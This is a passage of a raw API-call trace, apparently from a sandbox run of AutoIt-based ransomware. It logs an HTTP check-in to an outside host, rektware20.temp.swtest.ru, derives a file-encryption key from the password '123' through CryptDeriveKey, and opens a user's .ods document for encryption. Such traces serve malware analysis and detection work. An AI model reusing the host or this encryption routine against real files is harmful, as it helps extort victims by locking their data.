lpString1="quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Eppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="njAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.146] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.146] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.146] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.146] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.146] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.146] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.146] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.146] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.146] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0073.146] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.146] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.146] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.147] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.147] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.147] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.147] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.148] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.148] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.148] CloseHandle (hObject=0x0) returned 0 [0073.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.148] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0073.148] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0073.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.148] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.148] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.148] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.148] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.149] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.149] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.149] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.149] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.150] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.150] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.150] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aad58) returned 1 [0073.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.160] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.161] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.161] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.161] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.161] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.161] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.162] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.162] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.162] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.162] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.162] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.162] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.163] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.163] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.163] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.163] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.163] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.163] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.163] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.163] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.164] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.164] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.164] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.164] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.164] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.164] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.164] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.164] CryptCreateHash (in: hProv=0x17aad58, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.164] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.165] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.165] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.165] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.165] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.165] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.166] CryptHashData (hHash=0x164c830, pbData=0x1629490, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.166] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.166] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.166] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.166] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.166] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.166] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.167] CryptDeriveKey (in: hProv=0x17aad58, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0073.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.167] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.168] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.168] CryptDestroyHash (hHash=0x164c830) returned 1 [0073.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.168] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.178] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\queppq7ypnjakmfy.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.178] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.178] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.179] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.179] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 